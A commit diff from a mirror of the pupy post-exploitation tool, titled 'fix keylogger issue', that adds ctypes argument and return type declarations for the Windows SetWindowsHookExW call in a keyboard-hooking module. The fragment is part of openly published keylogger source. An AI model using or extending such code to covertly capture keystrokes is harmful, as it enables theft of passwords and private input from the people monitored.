mirror of https://github.com/n1nj4sec/pupy.git
fix keylogger issue
This commit is contained in:
parent
ef36a137ea
commit
0dff44d339
|
@ -60,6 +60,9 @@ VK_ESCAPE = 0x1B
|
||||||
|
|
||||||
# Base Win API
|
# Base Win API
|
||||||
SetWindowsHookEx = user32.SetWindowsHookExW
|
SetWindowsHookEx = user32.SetWindowsHookExW
|
||||||
|
SetWindowsHookEx.argtypes = (c_int, HOOKPROC, HINSTANCE, DWORD)
|
||||||
|
SetWindowsHookEx.restype = HHOOK
|
||||||
|
|
||||||
UnhookWindowsHookEx = user32.UnhookWindowsHookEx
|
UnhookWindowsHookEx = user32.UnhookWindowsHookEx
|
||||||
CallNextHookEx = user32.CallNextHookEx
|
CallNextHookEx = user32.CallNextHookEx
|
||||||
GetMessage = user32.GetMessageW
|
GetMessage = user32.GetMessageW
|
||||||
|
|
Loading…
Reference in New Issue